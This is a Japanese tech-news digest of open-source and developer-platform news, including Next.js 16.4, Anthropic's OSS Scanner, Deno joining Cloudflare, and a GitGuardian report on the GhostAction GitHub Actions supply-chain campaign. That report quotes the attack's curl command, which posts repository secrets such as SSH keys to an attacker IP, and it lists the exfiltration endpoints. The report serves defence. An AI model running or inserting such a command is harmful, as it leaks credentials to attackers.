OSS

概要 Vercelは10月6日、Next.js 16.4を正式リリースした。最大のトピックは、App Routerの新しいプログラミングモデルである「Cache Components」を、すべてのNext.jsアプリに推奨する段階に達したことだ。これまでコストやパフォーマンス面で既存モデルと同等の保証ができないケースがあったが、今回のリリースでそのギャップを埋める機能が追加され、create-next-appで作成する新規アプリではCache Componentsがデフォルトで有効になった。Cache Componentsはすでに次期メジャーバージョンのNext.js 17でデフォルト化が予定されており、16.4はその移行を本格的に進める位置づけのリリースとなる。既存アプリ向けには、AIエージェントによる移行を支援するnext upgrade --agentコマンドや専用Skillも新たに提供される。 Cache Componentsの機能強化 Cache Componentsは、コンポーネント単位で'use cache'を付与し、HTTPのCache-Controlヘッダーのようにキャッシュ可否を宣言的に制御する仕組みで、クライアント側のナビゲーションキャッシュとサーバー側キャッシュ、リクエスト時レンダリングを1つのページ内で組み合わせられる。next.config.tsでcacheComponents: trueとpartialPrefetching: trueを設定することで有効化できる。 16.4では主に2つの機能が追加された。1つはensureStaticで、ページやレイアウトに設定することで、意図しない動的コンポーネントの混入をビルド時に検出してビルドを失敗させられる。「navigation」「prefetch」「shell」の3段階で制御範囲を指定でき、ECサイトやマーケティングページなど静的性を重視するアプリでサーバーコストの肥大化を防ぐ。もう1つはnext/cacheから提供されるnavigation()・prefetch()関数で、これをawaitすることでプリフェッチ時に読み込む内容を明示的に除外し、必要なデータのみを事前取得できるようになった。メールアプリのスレッド全文のように、重いデータをリンクのプリフェッチ対象から外し、実際のナビゲーション時にのみ取得する、といった使い分けが可能になる。 AIエージェント向けツールの拡充 Next.jsチームはエージェントによる開発・保守の支援にも力を入れている。新しいnext upgrade --agentオプションは、インストール済みバージョンの確認、移行先バージョンの選定、コードモッドや検証手順の準備までをエージェントに提示し、npx next@canary upgrade --agent=latestで実行できる。さらにexperimental.agentUpgradeを設定すると、next devやnext build実行時に利用可能なアップデートをエージェントや開発者に通知する機能も追加された。デフォルトの'security'では既知の脆弱性に関するアップデートのみ通知し、'latest'では最新のメジャー・マイナーリリースへの追従を促す。加えて、experimental.agentFeedbackを有効にすると、開発中にエージェントが遭遇したフレームワークのエラーや不明瞭なドキュメントについて報告ドラフトを作成し、開発者が内容を確認・編集した上でNext.jsチームに送信できる仕組みも実験的に導入された。 パフォーマンス改善と実験的機能 Turbopack関連では、ディスクキャッシュの容量が設定変更なしで20〜25%削減された。データ本体にはZstandard圧縮を採用しつつ、メタデータは高速な参照を保つためLZ4を維持し、コンパクション処理も効率化した。また開発時は、サーバーモジュールの変更があっても表示中でないページの再コンパイルを遅延させる「Lazy server HMR」や、ランタイムを全ルートで共有する単一チャンク化により、ダウンロードサイズとキャッシュ効率が改善された。本番ビルドでもCSS Modulesのクラス名短縮やエクスポート名のマングリングにより、バンドルサイズが縮小している。さらにReact 19.3への対応により、安定版のView TransitionsやFragment Refs、新しいbrowser() APIなども利用可能になった。実験的機能としては、Rust版React Compilerの最適化対象ファイルの事前判定によるビルド高速化(Turbopack側の改善と合わせてメモリ使用量30%減・コンパイル時間15%減)、未使用の不要なコンパイル結果を削除するディスクキャッシュのガベージコレクション、クライアント側動的importの遅延コンパイル、ワーカースレッドによるツール実行の統合、シンボリックリンクされた依存関係向けの追加ルート設定、Turbopack Bundle Analyzerへのルート別サマリーやスナップショット比較機能の追加などが挙げられている。

概要 Anthropicは10月8日、オープンソースプロジェクトのメンテナー向けに無料の脆弱性スキャナー「OSS Scanner」を発表した。最大の特徴は、Claudeの最上位モデルが生成した脆弱性レポートを人間によるレビューや検証を経ずにそのままメンテナーへ届ける点にある。精度よりも速度を優先する設計で、真陽性率90%超を目標に掲げている。この取り組みは、Anthropicが推進するセキュリティ関連の包括的な施策「Anthropic Cyber Mission」の一環であり、同時に重要インフラ事業者向けのセキュリティ支援プログラムの拡大も発表された。 OSS Scannerの仕組みと参加方法 OSS Scannerはオプトイン制のサービスで、参加を希望するメンテナーはGitHub上のOSS ScannerリポジトリにプルリクエストでリポジトリのURL、連絡先メールアドレス、環境構築用のDockerfileのパスなどを提出する。任意でGPG公開鍵や脅威モデルファイルを添えることもできる。スキャンはオフライン環境で、提出されたDockerfileに基づき構築されたコンテナ内でClaudeの強力なモデルが実行し、インターネット接続は持たない。選定基準はGoogleの「OSS-Fuzz」に近い考え方を採用しているといい、プロジェクトの重要性が自明でない場合はメンテナー側で説明することが求められる。レポートには脆弱性の説明、再現可能な概念実証(PoC)コード、可能であれば修正案までが含まれる。 通常、Anthropicは発見した脆弱性を人間が検証した上で、90日間の標準的な協調的開示プロセスを経て開発者に伝えている。しかしOSS Scannerでは、大量の指摘を処理できる体力のあるプロジェクトを対象に、この検証ステップと開示期間の縛りを外し、モデルが生成した結果を直接送付する。重要度の誤判定など不正確な報告が混在する可能性がある点はAnthropic自身も認めている。 Project Glasswingという土台 OSS Scannerは、Anthropicが過去に実施した脆弱性発見プロジェクト「Project Glasswing」での経験を踏まえて設計された。同プロジェクトでは数百にのぼる広く使われているオープンソースプロジェクトをスキャンし、見つかった脆弱性をトリアージした上で協調的開示プロセスを通じて非公開で報告してきた。2026年10月2日時点で、2万9000件超の脆弱性候補を特定し、6000件超をメンテナーに報告、584件のセキュリティアドバイザリーにつながったという。この過程で一部のメンテナーから「検証を待たずに大量の指摘をそのまま受け取りたい」という要望が寄せられたことが、OSS Scannerのコンセプトに直結している。Anthropicは「脆弱性を悪用するコストは下がり続けているのに、パッチ適用は依然として遅く人手に依存している」と、攻撃と防御の非対称性を課題として挙げている。 重要インフラ向けプログラムの拡大 同日発表されたもう一つの柱が、運用技術(OT)領域のセキュリティを支援する「Critical Infrastructure Defense Program(CIDP)」の拡大だ。Accenture、Booz Allen、CrowdStrike、Deloitte、Dragos、Hitachi、Insane Cyber、Nozomi Networks、Palo Alto Networks、PwC、Rockwell Automationの11社が創設パートナーとして参加し、フロンティアのClaudeモデルに加え、Anthropicのエンジニアによる常駐支援や脅威リサーチが電力・水道・製造・交通インフラなどのOT事業者に提供される。OT環境ではシステムを停止してのパッチ適用が困難なため、既知の脆弱性が数年から数十年にわたり放置されがちだという課題に対応するもので、一部パートナーは既にClaudeを使った脆弱性の修復に着手しているという。Anthropicは2026年6月に米国の州・地方自治体向けサイバー防衛プログラムを開始しており、今回の施策はその延長線上にある。今後は初期パートナーからの知見を踏まえ、対象分野やパートナー数をさらに広げる方針を示している。

概要 Node.jsの作者であるRyan Dahl氏が創業したDenoの開発チーム全員がCloudflareに参加することが発表された。CloudflareとDeno双方のブログで同時に公開されたこの発表によると、DenoチームはCloudflareのWorkersおよびDurable Objectsチームと合流し、分散アプリケーションのための統合プラットフォームの構築に取り組む。これに伴い、スタンドアロンのDenoランタイムは今後1年間、月次のバグ修正とセキュリティ更新のみを提供したのち公式開発を終了する。Deno Deployも、有料ユーザーをCloudflare Workersへ移行させるための6カ月の移行支援期間を経てサービスを終了する。両社は今回の統合を、スケーリングや永続状態の管理といった複雑性をインフラ側ではなくプログラミングモデル自体に組み込むための取り組みと位置づけている。 今後のスケジュールと各プロダクトの扱い 発表によれば、Denoランタイムは1年間のサポート期間後にオープンソースプロジェクトとして存続するものの、公式の開発体制は解消される。Deno Deployは6カ月以内にシャットダウンされ、既存の有料顧客にはCloudflare Workersへの移行サポートが提供される。一方、JavaScriptのパッケージレジストリであるJSRは運用を継続し、そのインフラは段階的にCloudflareの基盤へ移行される予定だ。DenoランタイムのV8バインディングであるrusty_v8も継続的にサポートされ、Cloudflareのオープンソースランタイムであるworkerdへの統合が進められる。技術面では、Ryan Dahl氏と共同創業者のBert Belder氏が、8月にリリースした分散実行基盤「celld」とworkerdの統合を主導し、Cloudflare WorkersとDurable Objectsのプログラミングモデルを自己ホスト環境でも利用可能にすることを目指すという。 背景と今後の展望 今回の統合の背景には、Denoがベンチャー資金を使い切り、次の資金調達ラウンドへの明確な道筋を描けていなかった事情があるとみられている。celldの8月のリリース時点で、業界内では事実上の買収シグナルと受け止める見方もあった。コミュニティの反応は賛否が分かれており、好意的な意見は一部にとどまる一方、今回の統合を「チームとcelldの技術を獲得するための実質的なアクハイア(acquihire)」と捉える批判的な声も目立つ。特に、独立したJavaScriptランタイムとしてNode.jsのみが残る形になることへの懸念も広がっている。本番環境でDenoを利用している開発者は、1年間のサポート期間内に移行計画を策定する必要があり、Deno依存のプロジェクトの中には代替ランタイムへの移行を検討するものも出てくるとみられる。Cloudflareにとっては、Durable Objectsが備える低コストの実行基盤や永続状態管理、WebSocket対応、高水準のJavaScriptインタフェースといった特性を、AI時代のエージェント実装向けの基盤として強化する狙いがあるとみられ、今後のWorkersプラットフォームの進化を左右する動きとして注目される。

概要 GitHubはCopilot CLI・アプリ・SDKのランタイムを、TypeScript/Node.jsからRustへと全面的に書き換えたことを明らかにした。対象となった本番コードは80万行超に及び、AIエージェントを主体とした「AI支援リライト」によって約14.5週間、128件のプルリクエストという比較的短期間で移行を完了させている。注目すべきは、この移行作業と並行して通常のリリースサイクルも維持し続けた点で、移行期間中だけで135件(安定版35件、プレリリース100件)のリリースを出荷したという。最大の成果はパフォーマンスで、クライアントの起動からシングルターンのセッション生成までの時間が5.25秒から292ミリ秒へと、約18倍に短縮された。Node.js/V8ランタイムのオーバーヘッドが解消されたことで、クライアント1つあたりのメモリ使用量も約100MB削減されている。 移行の手法とスケール 今回の移行では、TypeScript版とRust版を並行開発してある時点で切り替えるのではなく、個々のコンポーネントを段階的にRust実装へ置き換えていく漸進的な手法が採られた。移行途中はTypeScriptとRustが共存するため、両者を橋渡しする一時的なN-API相互運用レイヤーを構築。このレイヤーは移行のピーク時には内部向けN-APIエクスポート2,019件、TypeScript側の呼び出し箇所3,356か所にまで膨れ上がったが、移行完了とともに撤去されている。最終的な成果物は本番用Rustコード832,378行、Rust単体テスト468,689行という規模に達し、移行中には4,478回のcargo checkが実行され、そのうち87.1%がクリーンに完了したという。実装の大部分はAIエージェントが生成し、人間はコンパイル・テスト・レビューを担当する役割分担で進められた。新しいRustランタイムはC ABI経由の組み込み統合と、プロセス外モードの両方をサポートしており、Copilot SDK自体は引き続きTypeScript、Python、Go、.NET、Java、Rustといった言語別インターフェースを提供し続けている。 課題と今後の展望 一方でコミュニティからは、この種の大規模書き換えにおける検証の難しさを指摘する声も上がっている。特に「キャンセル処理、リトライ、バックプレッシャー」といった非同期処理まわりの挙動や、レガシーシステムに潜む「文書化されていない暗黙の動作契約」をAIエージェント主導の書き換えでどこまで正確に再現できるかが懸念点として挙げられた。大規模コードベースのAI支援移行は今後も増えていくと見られるが、今回のGitHubの事例は、段階的な置き換えと一時的な相互運用レイヤーによってリリースを止めずに大規模書き換えを完遂できることを示した一方、非決定的な振る舞いや暗黙の契約の検証という課題が依然として残ることも浮き彫りにしている。

概要 GitHubは10月6日、1つの大きな変更を複数の小さなプルリクエスト(PR)に分割し、連鎖させて管理する「スタック型プルリクエスト」機能を、github.comの全プランで正式提供開始した。スタックとは「下位のPRがmainブランチを対象とし、その上の各PRが1つ下のブランチを対象とする、順序付きのブランチの連なり」と定義されており、大きな変更を個別にレビュー可能な単位に分割しつつ、最終的には1つのまとまった変更としてマージできる点が特徴だ。GitHub Enterprise Serverへの対応も今後のリリースで予定されている。 技術的な改善点 今回のGA版では、スタック運用上の実務的な課題に対応する改善が複数加えられた。まず、ベースブランチが更新されてリベースが発生した際も、変更のないコード部分の承認状態が維持されるようになった。これは、古い承認を自動的に無効化するポリシーを設定しているリポジトリでも機能する。リベースされたコミットは暗号署名を保持したまま、元の作成者情報も維持される。マージキューとの統合も強化され、スタック全体が単一のマージグループとして扱われるようになり、マージコミット方式を使う場合はPRごとに1つのマージコミットが生成される。さらに、ベースブランチが削除された場合にスタックが自動的に再ターゲットされる機能や、バイパス権限を持つユーザーがスタック内の最下位の未マージPRをマージできる機能も追加された。ナビゲーション面では、PRヘッダーにスタックの文脈が常時表示されるようになり、Shift+J・Shift+Kのキーボードショートカットでスタック内のPR間を移動できるほか、PRがスタックに参加・離脱したタイミングを記録するタイムラインイベントも加わった。なお、スタックの自動マージ機能は今後数週間にわたって段階的に展開される予定だ。 gh CLIとAIエージェントへの対応 スタック操作を支援するgh stack CLI拡張機能はバージョン0.2.0(10月2日リリース)で、Gitワークツリーのサポートが追加され、初期化やチェックアウトの処理が改善された。利用にはgh v2.0以上、Git 2.36以上が必要となる。注目すべき点として、gh skill install github/gh-stackコマンドでAIコーディングエージェント向けのスキルをインストールできるようになり、エージェントが大規模な変更を自動的にスタック型PRへ分割できるようになった。またpull_requestのWebhookにもstackedアクションが新設され、外部ツールからのスタック監視が容易になっている。 導入効果と評価 GitHubが公表した数値によると、スタック機能を利用しているリポジトリは、利用していない同規模のリポジトリと比較してマージされるコード量が9%増加し、マージまでの時間も5%短縮されたという。また、GitHub上位1%のアクティブなリポジトリの3分の2以上がすでにこの機能を利用しているとされる。Astralの創業者Charlie Marsh氏は「GitHubのスタック型PRを一度マージしただけで、これは素晴らしいと確信した」とコメントしており、大規模な変更を小さな単位に分割してレビューしやすくするワークフローが、実際の開発体験の改善につながっていることがうかがえる。gh CLIやAIエージェントとの連携強化により、今後は人間だけでなくAIコーディングエージェントが生成する変更についても、スタック型のレビューフローが標準的な選択肢になっていく可能性がある。

概要 GitGuardianの調査により、GitHub Actionsのサプライチェーンを狙う攻撃キャンペーン「GhostAction」が2026年8月31日から9月30日にかけて再活性化し、373のGitHubユーザー・組織に属する772個の公開リポジトリを標的にしていたことが判明した。攻撃は8月31日(143リポジトリ)、9月2〜5日(ピークの9月5日は294件を含め約400リポジトリ)、9月15日(103リポジトリ)の3つの波に分かれて展開され、盗んだ認証情報を使って「github_actions_security.yml」という名前の偽装ワークフローをリポジトリに注入した。コミットメッセージは「Add Github Actions Security workflow」に統一されており、これが検知の手がかりとなった。最終的に合計2,577件のシークレットが標的となり、OSSのサプライチェーン全体への影響が懸念されている。 攻撃の手口 注入されたワークフローは、対象リポジトリに既存する正規のワークフローから ${{ secrets.NAME }} 形式のシークレット参照を抽出し、その値を curl のPOSTリクエストで外部サーバーへ送信する仕組みになっていた。例えば curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}' http://193.32.204.199 のようなペイロードが確認されている。標的となったシークレットの内訳は、SSH秘密鍵・デプロイ認証情報が446件と最多で、Azure認証情報218件、コンテナレジストリ認証情報142件、データベース認証情報112件、AWSアクセスキー106件、FTP認証情報92件、Google Cloud/Firebase認証情報80件、GitHubトークン66件と多岐にわたった。GitHub Actionsの実行記録は3,669件収集されたが、実際に実行されたのは499件、正常完了まで至ったのは336件で、最終的に13リポジトリから26個のシークレットが流出したとみられる。 2025年キャンペーンとの関連とクリプトマイナー混入 今回の調査では、2025年9月に一度報告されていた旧GhostActionキャンペーンが「決して停止していなかった」ことも明らかになった。攻撃者は過去に注入した92件のワークフローを修正し、流出先のエンドポイントを段階的に更新し続けていた(2025年9月: bold-dhawan.45-139-104-115.plesk.page および carte-avantage.com、2025年10月〜12月および2026年3月: 170.39.218.2、2026年8月〜9月: 193.32.204.199)。さらに調査の過程で、まったく別の脅威も発見された。8月30日、GhostActionと同じ侵害済みアカウントを使って、約6,000スターを持つ人気リポジトリ「kuafuai/DevOpsGPT」にXMRigのクリプトマイナーが埋め込まれていたのである。被害組織の13リポジトリは少なくとも4つの異なるマイニングキャンペーンの標的になっていたことも判明し、単一の侵害された認証情報が複数の攻撃者によって再利用され得るという、サプライチェーン攻撃特有のリスクが改めて浮き彫りになった。 対応状況と今後の教訓 10月5日時点で、感染が確認されたリポジトリのうち効果的に修復が完了していたのはわずか16%にとどまっており、対応の遅れが懸念される。GitGuardianは、被害者に対して流出したシークレットのローテーションだけでは不十分であり、「注入そのものを可能にした侵害済みのGitHub認証情報を発見・失効させる必要がある」と強調している。そうしなければ、同じ侵害された認証情報が別の攻撃者によって再利用され、新たな攻撃の足がかりとして使われ続ける可能性があるためだ。GitHub Actionsのワークフローに対する変更監視やシークレットスキャンの強化、そして認証情報漏洩の根本原因への対処が、OSSメンテナーに求められている。

一時停止の背景 Googleは10月1日付で、Go、Angular、Protocol BuffersといったオープンソースプロジェクトのOSS脆弱性報奨金プログラム(OSS VRP)を一時停止した。同社は「自動化された送信の大幅な増加があり、その大多数が有効ではない」と説明しており、担当エンジニアやオープンソースメンテナーがAIによって生成された幻覚(ハルシネーション)混じりの無効な脆弱性報告の対応に追われ、負担が限界に達していたことが背景にある。TechCrunchは昨年の時点で、AI生成コンテンツがバグ報奨金プログラムに深刻なリスクをもたらしうると警告しており、今回の事態はその懸念が現実化した形だ。 広がるAIスロップ問題 バグ報奨金制度は本来、外部の研究者が発見した脆弱性を企業が金銭的に評価し、ソフトウェアの安全性向上につなげる仕組みだが、生成AIの普及によって「もっともらしく見えるが実際には存在しない脆弱性」を自動生成し大量投稿することが容易になった。こうした、いわゆる「AIスロップ」と呼ばれる低品質な自動生成レポートは、一見専門的な体裁を整えているため選別に人手と時間を要し、本来対応すべき実在の脆弱性報告の審査を圧迫する。Googleのように大規模かつ著名なOSSプロジェクトを多数抱える組織ほど、こうした無効な報告の集中砲火を受けやすい構造になっていると見られる。 今後の見通し Googleは2027年第1四半期をめどに、プログラムの運営方針についての「更新」を提供すると約束しており、それまでの間、参加希望者には同社が運営する他の報奨金プログラムへの参加を呼びかけている。一時停止の具体的な期間や再開時の審査体制の変更内容については明らかにされておらず、AI生成報告をどう選別するかという課題への対応が、今後の業界全体の報奨金プログラム運営のあり方を左右する試金石になりそうだ。

概要 Anthropicは10月1日、Claude CodeのUIや動作をTypeScriptでカスタマイズできる新機能「Mods」を正式リリースした。対象はClaude Code 2.1.287以降で、設定不要のデフォルト有効機能として提供される。CLIとデスクトップアプリの両方で動作し、プラグイン経由でインストールできるほか、開発者が自作したModをセッション限りで試し、後から通常のプラグインとして配布することも可能だ。 Hooksからの進化 Modsは従来の拡張機能「Hooks」を発展させたものだ。Hooksはシェルコマンドを実行する仕組みだったのに対し、Modsはセッション内で状態を保持できるTypeScript関数をツール呼び出しや画面描画などのイベントに登録する仕組みになっている。これにより、イベントの前後での処理や、イベント自体の置き換えといった、Hooksでは難しかった柔軟な制御が可能になった。具体的には、ボタンや入力フォーム、ペインなどのUI要素の追加・変更、プロンプトの動的な書き換え、ツール呼び出しのブロックや再試行の制御、権限要求の自動承認・拒否といった実装例が挙げられている。 注意点と今後の展望 一方で記事は、Modsが現時点では「サンドボックス化されていない」点を明確な注意事項として挙げ、信頼できるソースからのみインストールするよう呼びかけている。TypeScriptで任意のコード実行が可能な拡張機構である以上、出自不明なModの導入はエディタ拡張機能と同様のセキュリティリスクを伴う。今後、プラグインエコシステムとしてModsが広がるにつれ、サンドボックス化や権限スコープの制御といった安全面の仕組みが議論の焦点になりそうだ。

概要 Googleが2018年にオープンソース化したサンドボックス型コンテナランタイム「gVisor」が、Cloud Native Computing Foundation(CNCF)に寄贈されることが10月2日に発表された。Apache 2.0ライセンスで提供されるgVisorはLinuxをユーザースペースで再実装したもので、「コンテナと仮想マシンの中間」に位置する独特なサンドボックス技術として知られる。今回の寄贈に合わせ、Ant Group、Modal、Tinesの3社が新たに長期メンテナーとして参加し、CIインフラの移行とガバナンス体制の刷新を主導する。 寄贈の背景にある課題 gVisorはこれまでGoogle単独が事実上所有するプロジェクトという位置づけが、普及の妨げになっていた。業界では「通常のコンテナ」か「仮想マシン」かという二分法で技術を評価する傾向が強く、gVisorのような中間的な存在は立ち位置が曖昧になりやすい。セキュリティ監査の現場では「仮想化」であることを採用の必須条件とみなすケースがあり、これが採用障壁となっていたという。加えて、内部的には高性能であるにもかかわらず、I/O集約的なワークロードでは性能低下が目立ち、初めて触れた開発者に悪い印象を与えがちだった点も課題とされる。Linuxカーネルへの改善パッチがGoogle単独所有を理由にアップストリームで受け入れられにくいという事情もあった。現在の主な採用企業はGoogle、Ant Group、OpenAI、Anthropicといった大手テック企業と、Modal、Tinesのような特化型スタートアップに限られており、gVisor-on-Macやデスクトップ向けLinuxサンドボックス(bwrap互換機能など)といった用途でも潜在力が十分に活かされていない状況だった。 ガバナンス刷新とCI移行の計画 今回の発表では、短期・中期に分けた具体的な移行計画が示されている。数週間以内にはCNCFの「Sandbox」ステータスへ移行し、CIインフラをGitHub ActionsとBuildkiteに統合するとともに、メンテナー主導型のガバナンスを導入してGoogle以外のメンテナーにも権限を付与する。数ヶ月以内にはさらに一歩進んだ「Incubation」ステータスへの昇格を目指し、GitHubリポジトリをgoogle組織から移動させた上で、Googleによる一方的な支配を排除する投票型ガバナンスへの移行を計画している。新たに長期メンテナーとして名乗りを上げたAnt Group、Modal、Tinesに加え、OpenAI、Tencent、NVIDIAも継続的に貢献していく方針だ。 CNCFが受け入れる理由と今後の展望 CNCFにとってgVisorは、Kubernetesやcontainerdといったクラウドネイティブなコンテナランタイムと直接統合できる点が魅力とされる。ハードウェア仮想化支援を必要とせず全プラットフォームで動作できるため、仮想マシン方式よりも効率的な高密度配置が可能になる。Googleはプロジェクトから撤退するわけではなく、CNCF入りによってKubernetesが辿ったようなエコシステムの拡大と業界標準化を期待しているという。ガバナンスの中立化によって、これまで採用を躊躇していた企業や、仮想化必須のセキュリティ要件を持つ組織での利用拡大につながるかが今後の注目点となる。

概要 Postgresのマネージドサービスを提供するSupabaseは10月2日、SQLiteベースのデータベースサービス企業Tursoの買収と、GIC(シンガポール政府系ファンド)主導による1億5000万ドルの資金調達を発表した。調達にはAlphabet傘下のCapitalG、IronArc、SquarePegも参加している。両社は「エージェント時代のためのデータベースプラットフォーム」を構築すると位置付けており、背景にはAIエージェントが自ら大量のデータベースを生成・利用する新しい需要がある。Supabase共同創業者のPaul Copplestone氏は「エージェントはプロトタイプや探索、ダッシュボード、アプリを動かすために何百万ものデータベースを立ち上げている」と述べ、この需要が既存のグローバルなデータベースサービス容量を上回る可能性があると見ている。 Tursoの技術とSQLiteアーキテクチャ Tursoは、SQLiteを土台にしながらも単一ライターという制約を取り除く形でゼロから作り直したオープンソースのデータベースエンジンで、「libSQL」と呼ばれるSQLite拡張フォークを核に、MVCCによる並行書き込み、非同期I/O、ベクトル検索、ページ単位の暗号化などを備える。最大の特徴は、SQLiteが単一ファイルの軽量な組み込み型データベースである点を活かし、1台のサーバーで数百万のデータベースをホストできることだ。ストレージにはAmazon S3を用いた「ディスクレス、WAL-on-S3」アーキテクチャを採用し、「イレブンナイン」(99.999999999%)の耐久性を実現するとともに、最大90日間のバックアップとポイントインタイムリカバリにも対応する。データベースが非アクティブな間はストレージ費用のみが発生し、コンピュート課金は発生しない設計も、エージェントが瞬時に自分専用のデータベースを使い捨て的に生成・破棄するようなユースケースと相性が良い。クラウドサービスとしてだけでなく、BYOC(Bring Your Own Cloud)としてのデプロイにも対応している。 買収後の体制とオープンソース継続 Turso創業者のGlauber Costa氏と共同創業者のPekka Enberg氏を含むチームはSupabaseに合流し、Costa氏はSupabaseのHead of Agentic Servicesに就任する。同氏は「この旅を始めた当初から、10億件規模のデータベースを提供することを目標にしてきた」とコメントしており、Supabaseの開発者基盤とパートナーエコシステムの大きさがこの目標達成を後押しすると強調した。既存のTursoプラットフォームは買収後もデータベースやAPI、ワークフローをそのまま維持して運用が継続され、Turso Database(Rustで実装されたSQLite実装)はオープンソースのまま積極的にメンテナンスされる。AIエージェント向けのファイルシステムで、Copy-on-Write分離を用いる「AgentFS」も開発中だ。アプリケーションの規模がSQLiteの範囲を超えた場合には、Postgresや、ペタバイト級に対応する「Multigres」への移行パスも用意されるという。SuperhumanやSauna.ai、Mastraなどがすでにこの「エージェントごとに専用データベースを持たせる」アーキテクチャの採用企業として挙げられている。 今回の調達資金の使途 今回調達した資金は、Supabaseが新たに立ち上げた長時間稼働型AIエージェント向けのホスト済みサンドボックスサービス「Supabase Compute」をはじめとするAIエージェント向け新機能の開発、および従業員の株式流動性確保に充てられる予定だ。SupabaseとTursoの統合は、AIエージェントが自律的にインフラを生成・管理する時代に向けて、データベース層を根本から作り変えようとする動きの一環として注目される。